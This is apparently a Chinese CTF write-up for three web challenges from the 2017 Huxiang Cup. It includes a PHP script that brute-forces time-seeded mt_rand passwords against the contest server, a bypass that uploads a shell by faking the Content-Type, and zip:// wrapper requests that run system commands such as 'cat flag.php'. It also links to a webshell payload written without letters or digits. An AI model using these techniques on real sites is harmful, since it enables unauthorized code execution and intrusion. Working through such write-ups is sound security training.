美文网首页
湖湘杯2017

湖湘杯2017

作者: Shad0w_zz | 来源:发表于2018-11-26 21:04 被阅读0次

WEB

random

扫描发现源码泄露.index.php.swp

<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(100, 200));
    }
    return $randpwd;
}

session_start();

mt_srand(time());

$pwd=create_password();

echo $pwd.'||';    

if($pwd == $_GET['pwd']){
    echo "first";
    if($_SESSION['userLogin']==$_GET['login'])
        echo "Nice , you get the flag it is ".$flag ;
}else{
    echo "Wrong!";
}

$_SESSION['userLogin']=create_password(32).rand();

?>

不巧和上个周湖南赛的比赛题目一样
我们可以看到源码,mt_srand设置种子固定之后,mt_rand(100, 200)出来的随机数就是固定的,因为代码是使用time来设置随机数种子的,于是,我们可以通过时间,来得到种子。至于session,session是在代码结尾的时候设置的,而判断if($_SESSION['userLogin']==$_GET['login'])在设置session之前,加之,这里是使用若等于判断的,所以,我们不用给login赋值就好,脚本如下:

<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(100, 200));
    }
    return $randpwd;
}

session_start();

for($i=time()-10;$i<time()+10;$i++)
{
    mt_srand($i);
    $pwd=create_password();
    $result=file_get_contents("http://114.215.138.89:10080/?pwd=$pwd&login=");
    echo $result.'<br>';
}
?>

得到flag:


图片.png

web200

通过测试发现只对文件上传的类型作了检测,只需要
Content-Type为 image/png 就行了。
之后发现所有上传的文件都会以png格式保存在uploads目录下,百度搜索了一波:
http://www.freebuf.com/articles/web/121778.html

通过 zip/phar伪协议 来包含文件

view-source:http://118.190.86.101:10080/?op=zip://uploads/05dfa0813998eeca5d8e7306ed3d6f400ecb7657.png%23shell&a=system&b=ls

图片.png

view-source:http://118.190.86.101:10080/?op=zip://uploads/05dfa0813998eeca5d8e7306ed3d6f400ecb7657.png%23shell&a=system&b=cat%20flag.php

图片.png

web300

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html#_4
利用payload直接getshell

图片.png

相关文章

  • Int 0x80 ROP链(x86)

    2017年湖湘杯的一道pwn题 2017 湖湘杯 pwn300 用memcpy把堆中数据向栈上写的时候造成栈溢出 ...

  • 湖湘杯2017

    WEB random 扫描发现源码泄露.index.php.swp 不巧和上个周湖南赛的比赛题目一样我们可以看到源...

  • [2017湖湘杯] writesup(pwn)

    题目链接 pwn100 一开始没看懂程序在干嘛,但是从fork函数和开了canary可以联想到使用stack sm...

  • replace ---- 2017湖湘杯Re

    首先用upxshell脱壳,再用IDA打开,F5查看主函伪代码。 发现sub_401090为关键判断,继续跟进它。...

  • 湖湘杯 easyheap

    湖湘杯easyheap writeup off-by-null 思路 leak heap leak libc ch...

  • [2018湖湘杯] writesup

    随便做了选择题,进了复赛,然后打了一下,挺多原题的....,就感觉pwn300还行 题目链接 签到 single ...

  • 湖湘杯 RGB杂项

    最近做的题总结一下,wireshark 获取文件,然后拿到了一个flag.zip 解压发现了一个 ce.txt.

  • 格式化字符串pwn200

    2017湖湘杯pwn200,还是比较经典的格式化字符串例题 先查看一下保护机制: 32位开启了canary和堆栈不...

  • 2019湖湘杯部分WP

    0x01 untar 直接访问题目可以看到源码 但是直接传马发现不解析,于是搜索了一下,发现 CVE-2018-1...

  • 水墨江南烟雨处,湘湖如诗写千年

    萧山区原本是萧山县,萧山有湘湖,湘湖不是杭州的西湖也不同于西湖,西湖在杭州西湖区,湘湖在萧山。湘湖据传是古越国所在...

网友评论

      本文标题:湖湘杯2017

      本文链接:https://www.haomeiwen.com/subject/uukcvftx.html